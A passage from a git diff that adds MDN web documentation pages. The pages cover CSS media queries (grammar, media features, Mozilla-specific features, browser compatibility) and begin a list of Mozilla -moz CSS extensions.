screen and (color), print and (color) +</pre> + +<p>It is evaluated like this:</p> + +<pre class="brush: css" style="font-size: 14px;">@media (not (screen and (color))), print and (color)</pre> + +<h4 id="only">only</h4> + +<p><span style="line-height: 21px;">The </span><code style="font-size: 14px;">only</code><span style="line-height: 21px;"> keyword prevents older browsers that do not support media queries with media features from applying the given styles:</span></p> + +<pre class="brush: html"><link rel="stylesheet" media="only screen and (color)" href="example.css" /> +</pre> + +<h3 id="Pseudo-BNF_(for_those_of_you_that_like_that_kind_of_thing)">Pseudo-BNF (for those of you that like that kind of thing)</h3> + +<pre>media_query_list: <media_query> [, <media_query> ]* +media_query: [[only | not]? <media_type> [ and <expression> ]*] + | <expression> [ and <expression> ]* +expression: ( <media_feature> [: <value>]? ) +media_type: all | aural | braille | handheld | print | + projection | screen | tty | tv | embossed +media_feature: width | min-width | max-width + | height | min-height | max-height + | device-width | min-device-width | max-device-width + | device-height | min-device-height | max-device-height + | aspect-ratio | min-aspect-ratio | max-aspect-ratio + | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio + | color | min-color | max-color + | color-index | min-color-index | max-color-index + | monochrome | min-monochrome | max-monochrome + | resolution | min-resolution | max-resolution + | scan | grid</pre> + +<p>Media queries are case insensitive. Media queries involving unknown media types are always false.</p> + +<div class="note"><strong>Note:</strong> Parentheses are required around expressions; failing to use them is an error.</div> + +<h2 id="Media_features">Media features</h2> + +<p>Most media features can be prefixed with "min-" or "max-" to express "greater or equal to" or "less than or equal to" constraints. This avoids using the "<" and ">" symbols, which would conflict with HTML and XML. If you use a media feature without specifying a value, the expression resolves to true if the feature's value is non-zero.</p> + +<div class="note"><strong>Note:</strong> If a media feature doesn't apply to the device on which the browser is running, expressions involving that media feature are always false. For example, querying the aspect ratio of an aural device always results in false.</div> + +<h3 id="color">color</h3> + +<p><strong>Value:</strong> {{cssxref("<color>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Indicates the number of bits per color component of the output device. If the device is not a color device, this value is zero.</p> + +<div class="note"><strong>Note:</strong> If the color components have different numbers of bits per color component, the smallest number is used. For example, if a display uses 5 bits for blue and red and 6 bits for green, then the device is considered to use 5 bits per color component. If the device uses indexed colors, the minimum number of bits per color component in the color table is used.</div> + +<h4 id="Examples">Examples</h4> + +<p>To apply a style sheet to all color devices:</p> + +<pre class="brush: css">@media all and (color) { ... } +</pre> + +<p>To apply a style sheet to devices with at least 4 bits per color component:</p> + +<pre class="brush: css">@media all and (min-color: 4) { ... } +</pre> + +<h3 id="color-index">color-index</h3> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Indicates the number of entries in the color look-up table for the output device.</p> + +<h4 id="Examples_2">Examples</h4> + +<p>To indicate that a style sheet should apply to all devices using indexed color, you can do:</p> + +<pre class="brush: css">@media all and (color-index) { ... } +</pre> + +<p>To apply a style sheet to indexed color devices with at least 256 colors:</p> + +<pre class="brush: html"><link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" /> +</pre> + +<h3 id="aspect-ratio">aspect-ratio</h3> + +<p><strong>Value:</strong> {{cssxref("<ratio>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Describes the aspect ratio of the targeted display area of the output device. This value consists of two positive integers separated by a slash ("/") character. This represents the ratio of horizontal pixels (first term) to vertical pixels (second term).</p> + +<h4 id="Example">Example</h4> + +<p>The following selects a special style sheet to use for when the display area is at least as wide as it is high.</p> + +<pre class="brush: css">@media screen and (min-aspect-ratio: 1/1) { ... }</pre> + +<p>This selects the style when the aspect ratio is either 1:1 or greater. In other words, these styles will only be applied when the viewing area is square or landscape.</p> + +<h3 id="device-aspect-ratio">device-aspect-ratio</h3> + +<p><strong>Value:</strong> {{cssxref("<ratio>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Describes the aspect ratio of the output device. This value consists of two positive integers separated by a slash ("/") character. This represents the ratio of horizontal pixels (first term) to vertical pixels (second term).</p> + +<h4 id="Example_2">Example</h4> + +<p>The following selects a special style sheet to use for widescreen displays.</p> + +<pre class="brush: css">@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }</pre> + +<p>This selects the style when the aspect ratio is either 16:9 or 16:10.</p> + +<h3 id="device-height">device-height</h3> + +<p><strong>Value:</strong> {{cssxref("<length>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Describes the height of the output device (meaning the entire screen or page, rather than just the rendering area, such as the document window).</p> + +<h4 id="Example_3">Example</h4> + +<p>To apply a style sheet to a document when displayed on a screen that is less than 800 pixels long, you can use this:</p> + +<pre class="brush: html"><link rel="stylesheet" media="screen and (max-device-height: 799px)" /> +</pre> + +<h3 id="device-width">device-width</h3> + +<p><strong>Value:</strong> {{cssxref("<length>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Describes the width of the output device (meaning the entire screen or page, rather than just the rendering area, such as the document window).</p> + +<h4 id="Example_4">Example</h4> + +<p>To apply a style sheet to a document when displayed on a screen that is less than 800 pixels wide, you can use this:</p> + +<pre class="brush: html" style="font-size: 14px;"><link rel="stylesheet" media="screen and (max-device-width: 799px)" /></pre> + +<h3 id="grid">grid</h3> + +<p><strong>Value:</strong> <code><mq-boolean></code> which is an {{cssxref("<integer>")}} that can only have the <code>0</code> and <code>1</code> value.<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> all<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>Determines whether the output device is a grid device or a bitmap device. If the device is grid-based (such as a TTY terminal or a phone display with only one font), the value is 1. Otherwise it is zero.</p> + +<h4 id="Example_5">Example</h4> + +<p>To apply a style to handheld devices with a 15-character or narrower display:</p> + +<pre class="brush: css">@media handheld and (grid) and (max-width: 15em) { ... } +</pre> + +<div class="note"><strong>Note:</strong> The "em" unit has a special meaning for grid devices; since the exact width of an "em" can't be determined, 1em is assumed to be the width of one grid cell horizontally, and the height of one cell vertically.</div> + +<h3 id="height">height</h3> + +<p><strong>Value:</strong> {{cssxref("<length>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>The <code>height</code> media feature describes the height of the output device's rendering surface (such as the height of the viewport or of the page box on a printer).</p> + +<div class="note"><strong>Note:</strong> As the user resizes the window, Firefox switches style sheets as appropriate based on media queries using the <code>width</code> and <code>height</code> media features.</div> + +<h3 id="monochrome">monochrome</h3> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Indicates the number of bits per pixel on a monochrome (greyscale) device. If the device isn't monochrome, the device's value is 0.</p> + +<h4 id="Examples_3">Examples</h4> + +<p>To apply a style sheet to all monochrome devices:</p> + +<pre class="brush: css">@media all and (monochrome) { ... } +</pre> + +<p>To apply a style sheet to monochrome devices with at least 8 bits per pixel:</p> + +<pre class="brush: css">@media all and (min-monochrome: 8) { ... } +</pre> + +<h3 id="orientation">orientation</h3> + +<p><strong>Value:</strong> <code>landscape</code> | <code>portrait</code><br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>Indicates whether the viewport is in landscape (the display is wider than it is tall) or portrait (the display is taller than it is wide) mode.</p> + +<h4 id="Example_6">Example</h4> + +<p>To apply a style sheet only in portrait orientation:</p> + +<pre class="brush: css">@media all and (orientation: portrait) { ... }</pre> + +<div class="note"><strong>Note:</strong> This value does not correspond to actual device orientation. Opening the soft keyboard on most devices in portrait orientation will cause the viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait.</div> + +<h3 id="resolution">resolution</h3> + +<p><strong>Value:</strong> {{cssxref("<resolution>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Bitmap", "bitmap")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Indicates the resolution (pixel density) of the output device. The resolution may be specified in either dots per inch (dpi) or dots per centimeter (dpcm).</p> + +<h4 id="Example_7">Example</h4> + +<p>To apply a style sheet to devices with at least 300 dots per inch of resolution:</p> + +<pre class="brush: css">@media print and (min-resolution: 300dpi) { ... } +</pre> + +<p>To replace the old <span style="font-family: courier new,andale mono,monospace; line-height: normal;">(min-device-pixel-ratio: 2) </span>syntax:</p> + +<pre class="brush: css">@media screen and (min-resolution: 2dppx) { ... }</pre> + +<h3 id="scan">scan</h3> + +<p><strong>Value:</strong> <code>progressive</code> | <code>interlace</code><br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/TV")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>Describes the scanning process of television output devices.</p> + +<h4 id="Example_8">Example</h4> + +<p>To apply a style sheet only to progressive scanning televisions:</p> + +<pre class="brush: css">@media tv and (scan: progressive) { ... } +</pre> + +<h3 id="width">width</h3> + +<p><strong>Value:</strong> {{cssxref("<length>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>The <code>width</code> media feature describes the width of the rendering surface of the output device (such as the width of the document window, or the width of the page box on a printer).</p> + +<div class="note"><strong>Note:</strong> As the user resizes the window, Firefox switches style sheets as appropriate based on media queries using the <code>width</code> and <code>height</code> media features.</div> + +<h4 id="Examples_4">Examples</h4> + +<p>If you want to specify a style sheet for handheld devices, or screen devices with a width greater than 20em, you can use this query:</p> + +<pre class="brush: css">@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... } +</pre> + +<p>This media query specifies a style sheet that applies to printed media wider than 8.5 inches:</p> + +<pre class="brush: html"><link rel="stylesheet" media="print and (min-width: 8.5in)" + href="http://foo.com/mystyle.css" /> +</pre> + +<p>This query specifies a style sheet that is usable when the viewport is between 500 and 800 pixels wide:</p> + +<pre class="brush: css">@media screen and (min-width: 500px) and (max-width: 800px) { ... } +</pre> + +<h2 id="Mozilla-specific_media_features">Mozilla-specific media features</h2> + +<p>Mozilla offers several Gecko-specific media features. Some of these may be proposed as official media features.</p> + +<p>{{ h3_gecko_minversion("-moz-images-in-menus", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device allows images to appear in menus, this is 1; otherwise, the value is 0. This corresponds to the {{ cssxref(":-moz-system-metric(images-in-menus)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-mac-graphite-theme", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user has configured their device to use the "Graphite" appearance on Mac OS X, this is 1. If the user is using the standard blue appearance, or is not on Mac OS X, this is 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-maemo-classic", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user is using Maemo with the original theme, this is 1; if it's using the newer Fremantle theme, this is 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(maemo-classic)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-device-pixel-ratio", "2.0") }} {{ deprecated_inline("gecko&16") }}</p> + +<p><strong>Value:</strong> {{cssxref("<number>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> yes</p> + +<p>Gives the number of device pixels per CSS pixel.</p> + +<div class="geckoVersionNote"> +<p><strong>Do not use this feature. </strong></p> + +<p>Use the <code>resolution</code> feature with the <code>dppx</code> unit instead.<br> + <br> + <code>-moz-device-pixel-ratio</code> may be used for compatibility with Firefox older than 16 and <code>-webkit-device-pixel-ratio</code> with WebKit-based browsers that do not support <code>dppx</code>.</p> + +<p>Example:</p> + +<pre>@media (-webkit-min-device-pixel-ratio: 2), /* Webkit-based browsers */ + (min--moz-device-pixel-ratio: 2), /* Older Firefox browsers (prior to Firefox 16) */ + (min-resolution: 2dppx), /* The standard way */ + (min-resolution: 192dpi) /* dppx fallback */ </pre> + +<p>See this <a href="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/" title="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/">CSSWG article</a> for compatibility good practices regarding <code>resolution</code> and <code>dppx</code>.</p> +</div> + +<div class="note"><strong>Note</strong>: This media feature is also implemented by Webkit and by <a href="https://msdn.microsoft.com/en-us/library/ie/dn760733(v=vs.85).aspx">IE 11 for Windows Phone 8.1</a> as <span style="font-family: courier new;">-webkit-device-pixel-ratio</span>. The min and max prefixes as implemented by Gecko are named <span style="font-family: courier new;">min--moz-device-pixel-ratio</span> and <span style="font-family: courier new;">max--moz-device-pixel-ratio</span>; but the same prefixes as implemented by Webkit are named <span style="font-family: courier new;">-webkit-min-device-pixel-ratio</span> and <span style="font-family: courier new;">-webkit-max-device-pixel-ratio</span>.</div> + +<p>{{ h3_gecko_minversion("-moz-os-version", "25.0") }}</p> + +<p><strong>Value:</strong> <code>windows-xp</code> | <code>windows-vista</code> | <code>windows-win7</code> | <code>windows-win8 | windows-win10</code><br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>Indicates which operating system version is currently being used. Currently only implemented on Windows. Possible values are:</p> + +<ul> + <li><code>windows-xp</code></li> + <li><code>windows-vista</code></li> + <li><code>windows-win7</code></li> + <li><code>windows-win8</code></li> + <li><code>windows-win10</code></li> +</ul> + +<p>This is provided for application skins and other chrome code to be able to adapt to work well with the current operating system version.</p> + +<p>{{ h3_gecko_minversion("-moz-scrollbar-end-backward", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device's user interface displays a backward arrow button at the end of scrollbars, this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-scrollbar-end-forward", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device's user interface displays a forward arrow button at the end of scrollbars, this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-scrollbar-start-backward", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device's user interface displays a backward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-scrollbar-start-forward", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device's user interface displays a forward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-scrollbar-thumb-proportional", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device's user interface displays the thumb of scrollbars proportionally (that is, sized based on the percentage of the document that is visible), this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-touch-enabled", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the device supports touch events (for a touch screen), this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(touch-enabled)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<h4 id="Example_9">Example</h4> + +<p>You might use this to render your buttons slightly larger, for example, if the user is on a touch-screen device, to make them more finger-friendly.</p> + +<p>{{ h3_gecko_minversion("-moz-windows-classic", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user is using Windows unthemed (in classic mode instead of using uxtheme), this is 1; otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-classic)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-windows-compositor", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user is using Windows with the DWM compositor, this is 1; otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-compositor)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-windows-default-theme", "1.9.2") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user is currently using one of the default Windows themes (Luna, Royale, Zune, or Aero (including Vista Basic, Vista Advanced, and Aero Glass), this is 1. Otherwise it's 0.</p> + +<p>This corresponds to the {{ cssxref(":-moz-system-metric(windows-default-theme)") }} CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>.</p> + +<p>{{ h3_gecko_minversion("-moz-windows-glass", "21.0") }}</p> + +<p><strong>Value:</strong> {{cssxref("<integer>")}}<br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>If the user is using Windows Glass theme, this is 1; otherwise it's 0. Note that this only exists for Windows 7 and earlier.</p> + +<p>{{ h3_gecko_minversion("-moz-windows-theme", "2.0") }}</p> + +<p><strong>Value:</strong> <code>aero</code> | <code>luna-blue</code> | <code>luna-olive</code> | <code>luna-silver</code> | <code>royale</code> | <code>generic</code> | <code>zune</code><br> + <strong style="font-weight: bold;">Media</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br> + <strong>Accepts min/max prefixes:</strong> no</p> + +<p>Indicates which Windows theme is currently being used. Only available on Windows. Possible values are:</p> + +<ul> + <li><code>aero</code></li> + <li><code>luna-blue</code></li> + <li><code>luna-olive</code></li> + <li><code>luna-silver</code></li> + <li><code>royale</code></li> + <li><code>generic</code></li> + <li><code>zune</code></li> +</ul> + +<p>This is provided for application skins and other chrome code to be able to adapt to work well with the current Windows theme.</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome("21") }}</td> + <td>{{ CompatGeckoDesktop("1.9.1") }}</td> + <td>{{ CompatIE("9.0") }}</td> + <td>{{ CompatOpera("9") }}</td> + <td>{{ CompatSafari("4") }}</td> + </tr> + <tr> + <td>grid</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatNo() }} [1]</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>resolution</td> + <td>{{ CompatChrome("29") }}</td> + <td>{{ CompatGeckoDesktop("1.9.1") }} [2]<br> + {{ CompatGeckoDesktop("8.0") }} [3]</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>scan</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatNo() }} [4]</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] <code>grid</code> media type is not supported</p> + +<p>[2] Supports {{cssxref("<integer>")}} values;</p> + +<p>[3] Supports {{cssxref("<number>")}} values, as per the spec.</p> + +<p>[4] <code>tv</code> media type is not supported</p> + +<p> </p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/css3-mediaqueries/" title="http://www.w3.org/TR/css3-mediaqueries/">CSS 3 media query specification</a></li> + <li><a class="internal" href="/en-US/docs/CSS/@media" title="En/CSS/@media">Media types</a></li> + <li><a href="/en-US/docs/CSS/Using_media_queries_from_code" title="en/CSS/Using media queries from code">Using media queries from code</a></li> + <li><a href="http://i-skool.co.uk/mobile-development/web-design-for-mobiles-and-tablets-viewport-sizes/">List of mobile and tablet viewport sizes with pixel ratios and physical sizes</a></li> + <li><a href="http://davidwalsh.name/animate-media-queries">CSS Animations Between Media Queries</a> by David Walsh</li> +</ul> diff --git a/files/pl/web/css/mozilla_extensions/index.html b/files/pl/web/css/mozilla_extensions/index.html new file mode 100644 index 0000000000..7bdbe05032 --- /dev/null +++ b/files/pl/web/css/mozilla_extensions/index.html @@ -0,0 +1,679 @@ +--- +title: Rozszerzenia Mozilli +slug: Web/CSS/Mozilla_Extensions +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dodatki + - Dokumentacje + - Rozszerzenia + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/CSS/Mozilla_Extensions +--- +<div>{{CSSRef}}</div> + +<p>Mozilla applications such as Firefox support a number of special <strong>Mozilla extensions to <a href="/en-US/docs/Web/CSS">CSS</a></strong>, including properties, values, pseudo-elements and pseudo-classes, at-rules, and media queries. These extensions are prefixed with <code>-moz</code>.</p> + +<h2 id="Mozilla-only_properties_and_pseudo-classes_(avoid_using_on_websites)">Mozilla-only properties and pseudo-classes (avoid using on websites)</h2> + +<div class="note"> +<p><strong>Note:</strong> These properties and pseudo-classes will only work in Mozilla applications such as Firefox, and are not on a standards track. Some of them apply only to <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a> elements.</p> +</div> + +<div class="index"> +<h3 id="B">B</h3> + +<ul> + <li>{{Cssxref("-moz-binding")}}</li> + <li>{{Cssxref("-moz-border-bottom-colors")}}</li> + <li>{{Cssxref("-moz-border-left-colors")}}</li> + <li>{{Cssxref("-moz-border-right-colors")}}</li> + <li>{{Cssxref("-moz-border-top-colors")}}</li> + <li>{{Cssxref("-moz-box-align")}}</li> + <li>{{Cssxref("-moz-box-direction")}}</li> + <li>{{Cssxref("-moz-box-flex")}}</li> + <li>{{Cssxref("-moz-box-ordinal-group")}}</li> + <li>{{Cssxref("-moz-box-orient")}}</li> + <li>{{Cssxref("-moz-box-pack")}}</li> +</ul> + +<h3 id="C_–_I">C – I</h3> + +<ul> + <li>{{Cssxref("-moz-context-properties")}}</li> + <li>{{Cssxref("-moz-float-edge")}}</li> + <li>{{Cssxref("-moz-force-broken-image-icon")}}</li> + <li>{{Cssxref("-moz-image-region")}}</li> +</ul> + +<h3 id="O">O</h3> + +<ul> + <li>{{cssxref("-moz-orient")}}</li> + <li>{{cssxref("-moz-osx-font-smoothing")}}</li> + <li>{{Cssxref("-moz-outline-radius")}}</li> + <li>{{Cssxref("-moz-outline-radius-bottomleft")}}</li> + <li>{{Cssxref("-moz-outline-radius-bottomright")}}</li> + <li>{{Cssxref("-moz-outline-radius-topleft")}}</li> + <li>{{Cssxref("-moz-outline-radius-topright")}}</li> + <li>{{Cssxref("overflow-clip-box")}}</li> + <li>{{Cssxref("overflow-clip-box-block")}}</li> + <li>{{Cssxref("overflow-clip-box-inline")}}</li> +</ul> + +<h3 id="S_–_Z">S – Z</h3> + +<ul> + <li>{{Cssxref("-moz-stack-sizing")}}</li> + <li>{{Cssxref(":-moz-system-metric(images-in-menus)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-system-metric(mac-graphite-theme)")}} {{gecko_minversion_inline("1.9.1")}}</li> + <li>{{Cssxref(":-moz-system-metric(scrollbar-end-backward)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-system-metric(scrollbar-end-forward)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-system-metric(scrollbar-start-backward)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-system-metric(scrollbar-start-forward)")}} {{Fx_minversion_inline(3)}}</li> + <li>{{Cssxref(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{gecko_minversion_inline("1.9")}}</li> + <li>{{Cssxref(":-moz-system-metric(touch-enabled)")}} {{gecko_minversion_inline("1.9.2")}}</li> + <li>{{Cssxref(":-moz-system-metric(windows-default-theme)")}} {{Fx_minversion_inline(3)}}</li> + <li>{{Cssxref("-moz-user-focus")}}</li> + <li>{{Cssxref("-moz-user-input")}}</li> + <li>{{Cssxref("-moz-user-modify")}}</li> + <li>{{cssxref("-moz-window-dragging")}}</li> + <li>{{Cssxref("-moz-window-shadow")}}</li> +</ul> +</div> + +<h2 id="Formerly_proprietary_properties_that_are_now_standard"><span class="highlight-span">Formerly proprietary</span> properties that are now standard</h2> + +<div class="note"> +<p><strong>Note:</strong> To maximize the compatibility of your CSS, you should use the unprefixed standard properties instead of the prefixed ones listed below. Once a given property is standardized and implemented without the prefix, the prefixed version is typically dropped after a while.</p> +</div> + +<div class="index"> +<ul> + <li> + <h3 id="A">A</h3> + </li> + <li>{{Cssxref("animation", "-moz-animation")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-delay", "-moz-animation-delay")}} [Prefixed version still accepted]</li> + <li>{{Cssxref("animation-direction", 